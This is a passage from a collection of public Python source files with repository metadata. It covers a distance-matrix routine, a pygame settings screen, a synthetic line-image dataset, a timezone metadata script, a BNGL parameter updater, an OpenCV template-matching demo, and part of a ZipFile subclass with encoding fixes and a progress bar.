\"\"\"\n assert type(distance_matrix_list) == list, \"distance_matrix_list must be a list\"\n for distance_matrix in distance_matrix_list:\n assert type(distance_matrix) == numpy.ndarray, \"distance matrix must be numpy.ndarray\"\n assert len(distance_matrix.shape) == 2, \"distance matrix must have 2 dimensions\"\n assert distance_matrix.shape[0] == distance_matrix.shape[1], \"distance matrix must be NxN matrix\"\n assert (~numpy.isnan(distance_matrix)).all(), \"distance matrix contains nan values\"\n assert (~numpy.isinf(distance_matrix)).all(), \"distance matrix contains infinite values\"\n assert (~numpy.isneginf(distance_matrix)).all(), \"distance matrix contains negative infinite values\"\n assert (distance_matrix.round(5) >= 0).all(), \"distance matrix contains negative values\"\n assert (numpy.diagonal(distance_matrix) == 0).all(), \"distance matrix must contain zero values in its diagonal\"\n\n elongation_list = []\n ordering_list = []\n for chunk_index in range(len(distance_matrix_list)):\n distance_matrix_of_chunk = distance_matrix_list[chunk_index]\n ordering_bfs, ordering_dfs, mst_elongation, mst = self._apply_MST_and_return_BFS_DFS_ordering(distance_matrix_of_chunk, return_elongation=True, return_MST=True)\n elongation_list.append(mst_elongation)\n ordering_list.append(ordering_bfs)\n elongation_list = numpy.array(elongation_list)\n\n # now take the weighted average to the list according to the weights you calculated\n weighted_distance_matrix = numpy.average(distance_matrix_list, axis=0, weights=elongation_list)\n if to_return_elongation_list and to_return_sequence_list:\n return weighted_distance_matrix, ordering_list, elongation_list\n elif to_return_elongation_list and not to_return_sequence_list:\n return weighted_distance_matrix, ordering_list\n else:\n return weighted_distance_matrix\n\n\n","repo_name":"dalya/Sequencer","sub_path":"sequencer/sequencer_.py","file_name":"sequencer_.py","file_ext":"py","file_size_in_byte":72569,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"50"} +{"seq_id":"39601901500","text":"import pygame\nfrom pygame import mixer\nfrom settings import *\nfrom text import Text\nfrom button import Button\nfrom slider import Slider\n\n\nclass SettingsScreen:\n def __init__(self,create_title,sounds):\n # general setup\n self.screen = pygame.display.get_surface()\n self.create_title = create_title\n self.escape_pressed = False\n\n # text and buttons setup\n self.music_text = Text('Music',(WIDTH/2-400,HEIGHT/2-210))\n self.music_slider = Slider(mixer.music,(WIDTH/2-225,HEIGHT/2-200))\n self.volume_text = Text('Volume',(WIDTH/2-400,HEIGHT/2-150))\n self.volume_slider = Slider(sounds,(WIDTH/2-225,HEIGHT/2-140))\n self.controls_text = Text('Controls',(WIDTH/2-400,HEIGHT/2-90))\n self.create_controls()\n self.back_button = Button('BACK',(10,5),self.create_title)\n\n def create_controls(self):\n # controls text setup\n self.keys = []\n self.actions = []\n for i, control in enumerate(CONTROLS):\n key = control[0]\n act = control[1]\n self.keys.append(Button(key,(WIDTH/2-225,HEIGHT/2-90+(i*40)),self.blank))\n self.actions.append(Text(act,(WIDTH/2+25,HEIGHT/2-90+(i*40))))\n\n def blank(self):\n # button function placeholder\n pass\n\n def input(self):\n keys = pygame.key.get_pressed()\n\n # go back to title screen\n if keys[pygame.K_ESCAPE]:\n self.escape_pressed = True\n else:\n if self.escape_pressed:\n self.create_title()\n self.escape_pressed = False\n\n def run(self):\n # update and draw the settings screen\n self.input()\n self.music_text.display()\n self.music_slider.display()\n self.volume_text.display()\n self.volume_slider.display()\n self.controls_text.display()\n for key in self.keys:\n key.display()\n for act in self.actions:\n act.display()\n self.back_button.display()","repo_name":"abmu/shooter-game","sub_path":"settings_screen.py","file_name":"settings_screen.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"31805261911","text":"from math import floor\nfrom math import ceil\n\nimport numpy as np\n\nrng = np.random.default_rng(42)\n\n\ndef load_data(height=12, width=12, line_len=5, train_size=0.75, size=5000):\n \"\"\"\n Dummy synthetic \"lines\" dataset...\n\n Args:\n height:\n width:\n line_len:\n train_size:\n size:\n\n Returns:\n\n \"\"\"\n assert line_len <= min(height, width)\n # balanced set 4 classes:\n # 0: no line\n # 1: horizontal line\n # 2: vertical line\n # 3: diagonal line\n n_classes = 4\n per_class, remainder = divmod(size, n_classes)\n x = []\n y = []\n for c in range(n_classes):\n has_remainder = bool(remainder)\n size_class = per_class + int(has_remainder)\n if has_remainder:\n remainder -= 1\n # Single grayscale channel\n x_class = np.zeros((size_class, height, width, 1), dtype=np.float32)\n # Add lines of the appropriate class\n if c != 0: # no lines needed for class no line\n padf = (line_len - 1) / 2\n pad1, pad2 = floor(padf), ceil(padf)\n\n for x_i in x_class:\n if c == 1: # horizontal\n i = rng.choice(range(height))\n j = rng.choice(range(pad1, width - pad2))\n x_i[i, j - pad1:j + pad2 + 1] = 1\n elif c == 2: # vertical\n i = rng.choice(range(pad1, height - pad2))\n j = rng.choice(range(width))\n x_i[i - pad1:i + pad2 + 1, j] = 1\n elif c == 3: # diagonal\n i = rng.choice(range(pad1, height - pad2))\n j = rng.choice(range(pad1, width - pad2))\n i_idx = range(i - pad1, i + pad2 + 1)\n if rng.choice(2): # select which diagonal\n i_idx = [*reversed(i_idx)]\n j_idx = range(j - pad1, j + pad2 + 1)\n x_i[i_idx, j_idx] = 1\n else:\n raise NotImplementedError(c)\n x.append(x_class)\n y_c = [0] * n_classes\n y_c[c] = 1\n y.extend([y_c] * size_class)\n\n x = np.concatenate(x, axis=0)\n y = np.asarray(y)\n\n sep_index = int(train_size * size)\n X_train, y_train = x[:sep_index], y[:sep_index]\n X_val, y_val = x[sep_index:], y[sep_index:]\n\n return (X_train, y_train), (X_val, y_val)\n\n\nif __name__ == '__main__':\n import matplotlib.pyplot as plt\n\n (X, Y), _ = load_data(\n height=12, width=12, line_len=5, train_size=1., size=4)\n f, axes = plt.subplots(2, 2)\n for c_, (x_, ax) in enumerate(zip(X, axes.flat)):\n ax.imshow(x_, cmap='gray')\n ax.set_title(str(c_))\n plt.show()\n","repo_name":"LLNL/XNAS","sub_path":"experiments/lines/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"72960928475","text":"#!/usr/bin/env python3\n\nimport hashlib\n\nZONEFILE_METADATA_TEMPLATE = \"\"\"{{\n \"metadata_version\": 2.0,\n \"releases_url\": [],\n \"tzdata_file\": \"{tzdata_file}\",\n \"tzdata_file_sha512\": \"{tzdata_sha512}\",\n \"tzversion\": \"{tzdata_version}\",\n \"zonegroups\": [\n \"africa\",\n \"antarctica\",\n \"asia\",\n \"australasia\",\n \"europe\",\n \"northamerica\",\n \"southamerica\",\n \"etcetera\",\n \"factory\",\n \"backzone\",\n \"backward\"\n ]\n}}\n\"\"\"\n\n\ndef calculate_sha512(fpath):\n with open(fpath, 'rb') as f:\n sha_hasher = hashlib.sha512()\n sha_hasher.update(f.read())\n return sha_hasher.hexdigest()\n\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n\n parser.add_argument('tzdata', metavar='TZDATA',\n help='The name tzdata tarball file')\n parser.add_argument('version', metavar='VERSION',\n help='The version of the tzdata tarball')\n parser.add_argument('out', metavar='OUT', nargs='?',\n default='zonefile_metadata.json',\n help='Where to write the file')\n\n args = parser.parse_args()\n\n tzdata = args.tzdata\n version = args.version\n sha512 = calculate_sha512(tzdata)\n\n metadata_file_text = ZONEFILE_METADATA_TEMPLATE.format(\n tzdata_file=tzdata,\n tzdata_version=version,\n tzdata_sha512=sha512,\n )\n\n with open(args.out, 'w') as f:\n f.write(metadata_file_text)\n\n","repo_name":"dateutil/dateutil","sub_path":"ci_tools/make_zonefile_metadata.py","file_name":"make_zonefile_metadata.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":2162,"dataset":"github-code","pt":"50"} +{"seq_id":"35920198034","text":"import os\nimport numpy as np\nimport pandas as pd\nimport warnings\n\n### Options #################################################\nfile_dir = '.' # os.path.dirname(__file__)\nversion = 'v3.0.1'\nsbml_path = os.path.join(file_dir, '..', 'cell_cycle_' + version + '_petab.xml')\nbngl_path = os.path.join(file_dir, 'cell_cycle_' + version + '.bngl')\nparameter_path = os.path.join(file_dir, 'parameters_' + version + '.tsv')\n\nbngl_out = os.path.join(file_dir, 'cell_cycle_' + version + '_test1.bngl')\n#############################################################\n\npar_df = pd.read_csv(parameter_path, sep='\\t')\n \ndef parse_line(line):\n line = line[:line.find('#')]\n id, val = line.split(' ', 1)\n val = val.strip('() ')\n if '/' in val:\n operator = '/'\n elif '*' in val:\n operator = '*'\n else:\n operator = None\n vals = val.split(operator) + ['']\n vals = [val.strip() for val in vals]\n val, factor = vals[:2]\n if factor:\n factor = float(factor)\n else:\n operator = ''\n if (not operator) and factor:\n raise Error('Could not recover the operator.')\n if operator and not factor:\n raise Error('Could not recover the factor.')\n return (id.lstrip('\\t'), float(val), operator, factor)\n \ndef get_new_val(id, val, operator, factor):\n if any(char in '()@:,~' for char in id):\n id = id.replace('()', '').replace('@', '_').replace(':', '__')\\\n .replace(').', ')_').replace('(', '_').replace(')', '_')\\\n .replace(',', '_').replace('~', '').replace('!', '_')\n id = 'ic_wt' + id\n df = par_df.set_index('parameterId')\n if id in df.index:\n val = df.loc[id, 'nominalValue']\n else:\n warnings.warn(f'{id} not found in parameter table')\n if operator == '*':\n new_val = val/factor\n elif operator == '/':\n new_val = val*factor\n else:\n new_val = val\n return new_val\n \n# Read BNGL\nmodel = bytearray('', 'utf8')\nwith open(bngl_path) as f:\n parameter = False\n ic = False\n while True:\n line = f.readline()\n if not line:\n break\n if all(char == ' ' for char in line[:line.find('#')]):\n model.extend(bytes(line, 'utf8'))\n continue\n if 'end parameters' in line:\n parameter = False\n if 'end seed species' in line:\n ic = False\n if parameter:\n id, val, operator, factor = parse_line(line)\n new_val = get_new_val(id, val, operator, factor)\n line = f'\\t{id} {new_val}{operator}{factor}\\n'\n if ic:\n id, val, operator, factor = parse_line(line)\n new_val = get_new_val(id, val, operator, factor)\n line = f'\\t{id} {new_val}{operator}{factor}\\n'\n if parameter and ic:\n raise Error('BNGL file corrupted.')\n if 'begin parameters' in line:\n parameter = True\n if 'begin seed species' in line:\n ic = True\n model.extend(bytes(line, 'utf8'))\n\nwith open(bngl_out, 'w') as f:\n f.write(model.decode())\n","repo_name":"paulflang/cell_cycle_petab","sub_path":"versions/v3.0.1/update_models.py","file_name":"update_models.py","file_ext":"py","file_size_in_byte":3072,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"50"} +{"seq_id":"73334872155","text":"import cv2\nimport numpy as np\n\nfarm_img = cv2.imread('test.jpg', cv2.IMREAD_UNCHANGED)\ntemplate_img = cv2.imread('template.JPG', cv2.IMREAD_UNCHANGED)\n\nresult = cv2.matchTemplate(farm_img, template_img, cv2.TM_CCOEFF_NORMED)\n\nmin_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)\n\n#width on 1\nw = template_img.shape[1]\n#height on 0\nh = template_img.shape[0]\n\nthreshold = .60\n\nyloc, xloc = np.where(result >= threshold)\n\nrectangles = []\nfor (x, y) in zip(xloc, yloc):\n rectangles.append([int(x), int(y), int(w), int(h)])\n rectangles.append([int(x), int(y), int(w), int(h)])\n\nrectangles, weights = cv2.groupRectangles(rectangles, 1, 0.2)\n\nfor (x, y, w, h) in rectangles:\n cv2.rectangle(farm_img, (x, y), (x + w, y + h), (0, 255, 255), 2)\n\n\ncv2.imshow('Farm', farm_img)\ncv2.waitKey()\ncv2.destroyAllWindows()","repo_name":"Jetmarch/template-matching","sub_path":"template_test.py","file_name":"template_test.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"22840869271","text":"import hashlib\nimport inspect\nimport itertools\nimport multiprocessing\nimport os\nimport shutil\nimport zipfile\nfrom operator import attrgetter\nfrom typing import IO, Iterator\n\nimport charset_normalizer\nfrom crossgui.widgets import ProgressBar\n\n\nclass ArchiveFile():\n '''\n Common parts of the archive file types\n '''\n def __init__(\n self,\n preferredEncoding: str,\n ignore: list[str],\n progressbar: bool,\n useBarPrefix: bool\n ):\n self.latestCharset = None\n self.preferredEncoding = preferredEncoding\n self.ignore = ignore\n\n self.progressbar = progressbar\n\n if progressbar:\n self.prefix = multiprocessing.Array(\"c\", 272)\n self.prefix.value = b\"\"\n self.counter = multiprocessing.Value(\"i\", 0)\n self.unit = multiprocessing.Array(\"c\", 6)\n self.unit.value = b\"files\"\n self.finished = multiprocessing.Value(\"b\", False)\n self._create_progressbar(0)\n\n self.useBarPrefix = useBarPrefix\n\n def _get_caller_name(self, depth: int = 1) -> str:\n '''\n Get caller name\n Relies on CPython implementation to achieve the best performance.\n So it may not work on other language implementations\n Use inspect.stack()[1][3]\n\n Args:\n depth(int): Caller name number on the stack to extract.\n Defaults 1.\n\n Returns:\n str: Caller name of specified depth\n '''\n frame = inspect.currentframe()\n for _ in range(depth):\n frame = frame.f_back\n return frame.f_code.co_name\n \n def _get_call_stack(self) -> list[str]:\n '''\n Get call stack\n Alternative to calling get_caller_name() with\n different depth values\n\n Parses not the whole stack, but within the module\n or until it finds the owner function\n\n Returns:\n list[str]: Caller names, chronologically ordered\n '''\n frame = inspect.currentframe()\n callstack = [frame.f_code.co_name]\n\n while True:\n callstack.insert(0, frame.f_back.f_code.co_name)\n if callstack[0] in (self._progressbarOwner[0], \"\"):\n break\n frame = frame.f_back\n \n return callstack\n\n def _create_progressbar(self, depth: int = 1):\n '''\n Create progress bar\n Because we cannot restart a terminated process.\n We need to instantiate a new.\n\n During creation, name of the owner is recorded.\n This is an additional protection against updating and\n finishing the progress bar with other functions.\n\n Owner can determine nesting level of subtasks\n that are allowed to change progressbar parameters.\n\n See _check_owner_permission() for details\n\n TODO: set owner by function reference\n\n Args:\n depth (int): Subtasks nesting level. Using a depth of 0,\n changes to the progressbar will only be available\n to the owner's function. Defaults to 1.\n '''\n self._progressbarOwner = (self._get_caller_name(2), depth)\n self.renderingProcess = multiprocessing.Process(\n target=ProgressBar(40).start_rendering_mp,\n args=(self.prefix, self.counter, self.unit, self.finished)\n )\n\n def _check_owner_permission(self) -> bool:\n '''\n Checks if the caller can perform an action\n according to the depth of subtasks set by the owner\n \n With doas we get privileges only on the running command\n doas start.sh --> subtask.sh (permission denied)\n\n Sudo gives access to all subtasks\n sudo start.sh -> exploit.sh -> mainer.sh (access granted)\n\n My solution is a mix of these approaches. For sudo example,\n by making subtasks depth to 1. We allow exploit.sh to run,\n but mainer.sh does not\n\n Returns:\n bool: Access granted or not\n '''\n callstack = self._get_call_stack()\n \n try:\n ownerIndex = callstack.index(self._progressbarOwner[0])\n depth = self._progressbarOwner[1]\n callerName = callstack[-4]\n except ValueError:\n return False\n \n if callerName == callstack[ownerIndex]:\n return True\n elif callerName in callstack[ownerIndex+1:ownerIndex+1+depth]:\n return True\n \n return False\n\n def _start_progressbar(self):\n '''\n Start current progress bar\n '''\n self.renderingProcess.start()\n\n def _update_progressbar(self):\n '''\n Increment progressbar counter if needed\n '''\n if not self._check_owner_permission():\n return\n\n if self.progressbar and self.counter.value != -1:\n with self.counter.get_lock():\n self.counter.value += 1\n\n def _reset_progressbar(self):\n '''\n Reset progress bar values to defaults\n '''\n self.prefix.value = b\"\"\n self.counter.value = 0\n self.unit.value = b\"files\"\n self.finished.value = False\n\n def _finish_progressbar(self):\n '''\n Finish progressbar\n '''\n if not self._check_owner_permission():\n return\n\n if self.progressbar and self.renderingProcess.is_alive():\n with self.finished.get_lock():\n self.finished.value = True\n self.renderingProcess.join()\n self._reset_progressbar()\n\n def is_ignored(self, path: str) -> bool:\n '''\n Check if file is being ignored according to the ignore parameter\n\n Args:\n path (str): Path, name or arcname\n\n Returns:\n bool: Ignored or not\n '''\n if os.sep == \"\\\\\":\n path = path.replace(\"\\\\\", \"/\")\n\n if frozenset(path.split(\"/\")).intersection(self.ignore):\n return True\n\n return False\n\n def guess_encoding(self, binaryText: bytes) -> tuple[str, str]:\n '''\n Guesses encoding and decodes text using it\n\n Args:\n binaryText (bytes): Text to decode\n\n Returns:\n tuple[str, str]: Pair of encoding and decoded string\n '''\n for attempt in range(3):\n try:\n # Guess encoding\n if not self.latestCharset:\n encoding = charset_normalizer.detect(binaryText)[\"encoding\"]\n text = binaryText.decode(encoding)\n self.latestCharset = encoding\n # Use last guessed\n else:\n encoding = self.latestCharset\n text = binaryText.decode(self.latestCharset)\n # Checking to make sure the encoding is guessed correctly\n text.encode(encoding)\n break\n except (UnicodeDecodeError, UnicodeEncodeError):\n # Can't guess and decode with preferred & last\n # Use historical ZIP filename encoding\n if not self.latestCharset:\n encoding = \"cp437\"\n text = binaryText.decode(\"cp437\")\n break\n else:\n # First attempt can't decode with last\n # Use preferred filename encoding\n if (\n attempt == 0\n and self.latestCharset != self.preferredEncoding\n ):\n self.latestCharset = self.preferredEncoding\n # Second attempt can't decode with preferred\n # Try to guess\n else:\n self.latestCharset = None\n\n return encoding, text\n\n def decode_filename(self, filename: bytes) -> str:\n '''\n Decodes a filename, splitting it into parts.\n This is necessary in order to reduce the number\n of charset_normalizer errors\n\n Args:\n filename (bytes): Encoded filename\n\n Returns:\n str: Decoded filename\n '''\n filenames = []\n for filename in filename.split(b\"/\"):\n filename = self.guess_encoding(filename)[1]\n filenames.append(filename)\n\n filename = \"/\".join(filenames)\n return filename\n\n def get_unique_filename(self, filename: str) -> Iterator[str]:\n '''\n Unique name generator: adds a number to the filename\n\n Used to rename duplicates if the overwriteDuplicates\n parameter is disabled\n\n Args:\n filename (str): Filename\n\n Yields:\n Iterator[str]: filename (1), filename (2) ...\n '''\n filename, extension = os.path.splitext(filename)\n number = itertools.count(1)\n\n while True:\n yield f\"{filename} ({next(number)}){extension}\"\n\n\nclass ZipFile(zipfile.ZipFile, ArchiveFile):\n def __init__(\n self,\n file: str | IO,\n mode: str = \"r\",\n compression: int = zipfile.ZIP_STORED,\n allowZip64: bool = True,\n compresslevel: int | None = None,\n *,\n strict_timestamps: bool = True,\n preferredEncoding: str = \"cp866\",\n ignore: list[str] = [],\n overwriteDuplicates: bool = False,\n symlinksToFiles: bool = False,\n progressbar: bool = False,\n useBarPrefix: bool = True\n ):\n '''\n Better ZipFile with proper names and symlinks encoding & progressbar\n\n Args:\n file (str | IO): Either the path to the file,\n or a file-like object\n mode (str, optional): File mode. Defaults to \"r\".\n compression (int, optional): ZIP_STORED (no compression),\n ZIP_DEFLATED (requires zlib), ZIP_BZIP2 (requires bz2)\n or ZIP_LZMA (requires lzma). Defaults to zipfile.ZIP_STORED.\n allowZip64 (bool, optional): if True ZipFile will create files\n with ZIP64 extensions when needed, otherwise it will raise\n an exception when this would be necessary. Defaults to True.\n compresslevel (int | None, optional): None (default for the given\n compression type) or an integer specifying the level to pass\n to the compressor. When using ZIP_STORED or ZIP_LZMA this\n keyword has no effect. When using ZIP_DEFLATED integers 0\n through 9 are accepted. When using ZIP_BZIP2 integers 1\n through 9 are accepted. Defaults to None.\n strict_timestamps (bool, optional): Strict timestamps.\n Defaults to True.\n preferredEncoding (str, optional): Encoding to use when\n guessing the original. Defaults to \"cp866\".\n ignore (list[str], optional): Filenames to ignore.\n Defaults to [].\n overwriteDuplicates (bool, optional): Overwrite if file exists\n or write filename with number in it. If you are going to\n enable this option - open archive in 'a' mode.\n Defaults to False\n symlinksToFiles (bool, optional): Replace symbolic links with the\n files they point to or not. If the file does not exist, the link\n will be packed. Hard links are always written as regular files\n regardless of this option. Defaults to False\n progressbar (bool, optional): Render progress bar while\n running or not. Defaults to False.\n useBarPrefix (bool, optional): Show progress bar prefix, disable\n this option if your program itself prints events to the terminal.\n Defaults to True.\n\n If you use progressbar option on Windows - run your code in the\n \"if __name__ == '__main__'\" statement\n '''\n ArchiveFile.__init__(\n self,\n preferredEncoding=preferredEncoding,\n ignore=ignore,\n progressbar=progressbar,\n useBarPrefix=useBarPrefix\n )\n\n super().__init__(\n file=file,\n mode=mode,\n compression=compression,\n allowZip64=allowZip64,\n compresslevel=compresslevel,\n strict_timestamps=strict_timestamps\n )\n\n # Archive filename\n self.arcname = os.path.basename(self.filename)\n\n self.overwriteDuplicates = overwriteDuplicates\n self.symlinksToFiles = symlinksToFiles\n\n def __exit__(self, type, value, traceback):\n self.close()\n\n # Delete archive if empty\n if self.filelist:\n return\n\n if self.progressbar:\n if self.useBarPrefix:\n self.prefix.value = f\"Removing \\\"{self.arcname}\\\" : \".encode()\n self.counter.value = -1\n self.unit.value = b\"\"\n self._create_progressbar(0)\n self._start_progressbar()\n\n os.remove(self.filename)\n self._finish_progressbar()\n\n def _RealGetContents(self):\n '''\n Read in the table of contents for the ZIP file.\n '''\n fp = self.fp\n try:\n endrec = zipfile._EndRecData(fp)\n except OSError:\n raise zipfile.BadZipFile(\"File is not a zip file\")\n if not endrec:\n raise zipfile.BadZipFile(\"File is not a zip file\")\n if self.debug > 1:\n print(endrec)\n size_cd = endrec[zipfile._ECD_SIZE] # bytes in central directory\n offset_cd = endrec[zipfile._ECD_OFFSET] # offset of central directory\n self._comment = endrec[zipfile._ECD_COMMENT] # archive comment\n\n # \"concat\" is zero, unless zip was concatenated to another file\n concat = endrec[zipfile._ECD_LOCATION] - size_cd - offset_cd\n if endrec[zipfile._ECD_SIGNATURE] == zipfile.stringEndArchive64:\n # If Zip64 extension structures are present, account for them\n concat -= zipfile.sizeEndCentDir64 + zipfile.sizeEndCentDir64Locator\n\n if self.debug > 2:\n inferred = concat + offset_cd\n print(\"given, inferred, offset\", offset_cd, inferred, concat)\n # self.start_dir: Position of start of central directory\n self.start_dir = offset_cd + concat\n fp.seek(self.start_dir, 0)\n data = fp.read(size_cd)\n fp = zipfile.io.BytesIO(data)\n total = 0\n while total < size_cd:\n centdir = fp.read(zipfile.sizeCentralDir)\n if len(centdir) != zipfile.sizeCentralDir:\n raise zipfile.BadZipFile(\"Truncated central directory\")\n centdir = zipfile.struct.unpack(zipfile.structCentralDir, centdir)\n if centdir[zipfile._CD_SIGNATURE] != zipfile.stringCentralDir:\n raise zipfile.BadZipFile(\n \"Bad magic number for central directory\"\n )\n if self.debug > 2:\n print(centdir)\n filename = fp.read(centdir[zipfile._CD_FILENAME_LENGTH])\n flags = centdir[5]\n if flags & 0x800:\n # UTF-8 file names extension\n filename = filename.decode('utf-8')\n else:\n # ----------------------------------------------------\n # Fix broken filenames due to incorrect encoding\n # ----------------------------------------------------\n filename = self.decode_filename(filename)\n # Create ZipInfo instance to store file information\n x = zipfile.ZipInfo(filename)\n x.extra = fp.read(centdir[zipfile._CD_EXTRA_FIELD_LENGTH])\n x.comment = fp.read(centdir[zipfile._CD_COMMENT_LENGTH])\n x.header_offset = centdir[zipfile._CD_LOCAL_HEADER_OFFSET]\n (\n x.create_version,\n x.create_system,\n x.extract_version,\n x.reserved,\n x.flag_bits,\n x.compress_type,\n t,\n d,\n x.CRC,\n x.compress_size,\n x.file_size\n ) = centdir[1:12]\n if x.extract_version > zipfile.MAX_EXTRACT_VERSION:\n raise NotImplementedError(\n \"zip file version %.1f\" % (x.extract_version / 10)\n )\n x.volume, x.internal_attr, x.external_attr = centdir[15:18]\n # Convert date/time code to (year, month, day, hour, min, sec)\n x._raw_time = t\n x.date_time = (\n (d >> 9) + 1980,\n (d >> 5) & 0xF,\n d & 0x1F,\n t >> 11,\n (t >> 5) & 0x3F,\n (t & 0x1F) * 2\n )\n\n x._decodeExtra()\n x.header_offset = x.header_offset + concat\n self.filelist.append(x)\n self.NameToInfo[x.filename] = x\n\n # update total bytes read from central directory\n total = (\n total\n + zipfile.sizeCentralDir\n + centdir[zipfile._CD_FILENAME_LENGTH]\n + centdir[zipfile._CD_EXTRA_FIELD_LENGTH]\n + centdir[zipfile._CD_COMMENT_LENGTH]\n )\n\n if self.debug > 2:\n print(\"total\", total)\n\n def open(self, name, mode=\"r\", pwd=None, *, force_zip64=False):\n '''\n Return file-like object for 'name'.\n\n name is a string for the file name within the ZIP file, or a ZipInfo\n object.\n\n mode should be 'r' to read a file already in the ZIP file, or 'w' to\n write to a file newly added to the archive.\n\n pwd is the password to decrypt files (only used for reading).\n\n When writing, if the file size is not known in advance but may exceed\n 2 GiB, pass force_zip64 to use the ZIP64 format, which can handle large\n files. If the size is known in advance, it is best to pass a ZipInfo\n instance for name, with zinfo.file_size set.\n '''\n if mode not in {\"r\", \"w\"}:\n raise ValueError('open() requires mode \"r\" or \"w\"')\n if pwd and not isinstance(pwd, bytes):\n raise TypeError(\"pwd: expected bytes, got %s\" % type(pwd).__name__)\n if pwd and (mode == \"w\"):\n raise ValueError(\"pwd is only supported for reading files\")\n if not self.fp:\n raise ValueError(\n \"Attempt to use ZIP archive that was already closed\"\n )\n\n # Make sure we have an info object\n if isinstance(name, zipfile.ZipInfo):\n # 'name' is already an info object\n zinfo = name\n elif mode == 'w':\n zinfo = zipfile.ZipInfo(name)\n zinfo.compress_type = self.compression\n zinfo._compresslevel = self.compresslevel\n else:\n # Get info object for name\n zinfo = self.getinfo(name)\n\n if mode == 'w':\n return self._open_to_write(zinfo, force_zip64=force_zip64)\n\n if self._writing:\n raise ValueError(\n \"Can't read from the ZIP file while there \"\n \"is an open writing handle on it. \"\n \"Close the writing handle before trying to read.\"\n )\n\n # Open for reading:\n self._fileRefCnt += 1\n zef_file = zipfile._SharedFile(\n self.fp,\n zinfo.header_offset,\n self._fpclose,\n self._lock,\n lambda: self._writing\n )\n\n try:\n # Skip the file header:\n fheader = zef_file.read(zipfile.sizeFileHeader)\n if len(fheader) != zipfile.sizeFileHeader:\n raise zipfile.BadZipFile(\"Truncated file header\")\n fheader = zipfile.struct.unpack(zipfile.structFileHeader, fheader)\n if fheader[zipfile._FH_SIGNATURE] != zipfile.stringFileHeader:\n raise zipfile.BadZipFile(\"Bad magic number for file header\")\n\n fname = zef_file.read(fheader[zipfile._FH_FILENAME_LENGTH])\n if fheader[zipfile._FH_EXTRA_FIELD_LENGTH]:\n zef_file.read(fheader[zipfile._FH_EXTRA_FIELD_LENGTH])\n\n if zinfo.flag_bits & 0x20:\n # Zip 2.7: compressed patched data\n raise NotImplementedError(\n \"compressed patched data (flag bit 5)\"\n )\n\n if zinfo.flag_bits & 0x40:\n # strong encryption\n raise NotImplementedError(\"strong encryption (flag bit 6)\")\n\n if fheader[zipfile._FH_GENERAL_PURPOSE_FLAG_BITS] & 0x800:\n # UTF-8 filename\n fname_str = fname.decode(\"utf-8\")\n else:\n # ----------------------------------------------------\n # Fix broken filenames due to incorrect encoding\n # ----------------------------------------------------\n fname_str = self.decode_filename(fname)\n\n if fname_str != zinfo.orig_filename:\n raise zipfile.BadZipFile(\n 'File name in directory %r and header %r differ.'\n % (zinfo.orig_filename, fname)\n )\n\n # check for encrypted flag & handle password\n is_encrypted = zinfo.flag_bits & 0x1\n if is_encrypted:\n if not pwd:\n pwd = self.pwd\n if not pwd:\n raise RuntimeError(\n \"File %r is encrypted, password \"\n \"required for extraction\" % name\n )\n else:\n pwd = None\n\n return zipfile.ZipExtFile(zef_file, mode, zinfo, pwd, True)\n except:\n zef_file.close()\n raise\n\n def extract(self, member, path=None, pwd=None) -> str:\n '''\n Extract a member from the archive to the current working directory,\n using its full name. Its file information is extracted as accurately\n as possible. `member' may be a filename or a ZipInfo object. You can\n specify a different directory using `path'.\n '''\n if isinstance(member, zipfile.ZipInfo):\n member = member.filename\n\n if path is None:\n path = os.getcwd()\n else:\n path = os.fspath(path)\n\n if self.is_ignored(member):\n return path\n\n if self.progressbar and not self.renderingProcess.is_alive():\n if self.useBarPrefix:\n filename = os.path.basename(member.rstrip(\"/\"))\n self.prefix.value = f\"Extracting \\\"{filename}\\\" : \".encode()\n if not member.endswith(\"/\"):\n self.counter.value = -1\n self.unit.value = b\"\"\n self._create_progressbar(2)\n self._start_progressbar()\n\n targetpath = self._extract_member(member, path, pwd)\n # extract directory contents\n if targetpath != path and os.path.isdir(targetpath):\n members = [name for name in self.namelist() if member in name][1:]\n self.extractall(path, members)\n\n self._finish_progressbar()\n\n return targetpath\n\n def extractall(self, path=None, members=None, pwd=None):\n '''\n Extract all members from the archive to the current working\n directory. `path' specifies a different directory to extract to.\n `members' is optional and must be a subset of the list returned\n by namelist().\n '''\n if self.progressbar and not self.renderingProcess.is_alive():\n if self.useBarPrefix:\n self.prefix.value = f\"Extracting \\\"{self.arcname}\\\" : \".encode()\n self._create_progressbar(1)\n self._start_progressbar()\n\n if members is None:\n members = self.namelist()\n\n if path is None:\n path = os.getcwd()\n else:\n path = os.fspath(path)\n\n skip = \"\"\n for zipinfo in members:\n # skip nested files if any\n if skip:\n if skip in zipinfo:\n continue\n else:\n skip = \"\"\n targetpath = self._extract_member(zipinfo, path, pwd)\n # name was found in ignore, add path to skip\n if targetpath == path:\n skip = zipinfo\n\n self._finish_progressbar()\n\n def _extract_member(self, member, targetpath, pwd) -> str:\n '''\n Extract the ZipInfo object 'member' to a physical\n file on the path targetpath.\n '''\n if not isinstance(member, zipfile.ZipInfo):\n member = self.getinfo(member)\n\n arcname = member.filename\n\n # Symlinks real name handling\n if os.path.basename(arcname).startswith(\"__symlink__\"):\n with self.open(member, pwd=pwd) as source:\n symlink = source.readline().decode()\n filename, symlink, isdir = symlink.split(\",\")\n # convert to boolean\n isdir = isdir == \"True\"\n arcname = os.path.dirname(arcname)\n arcname = f\"{arcname}/{filename}\"\n else:\n symlink = None\n\n if self.is_ignored(arcname):\n return targetpath\n\n # Original _extract_member() code\n\n # build the destination pathname, replacing\n # forward slashes to platform specific separators.\n arcname = arcname.replace('/', os.path.sep)\n\n if os.path.altsep:\n arcname = arcname.replace(os.path.altsep, os.path.sep)\n # interpret absolute pathname as relative, remove drive letter or\n # UNC path, redundant separators, 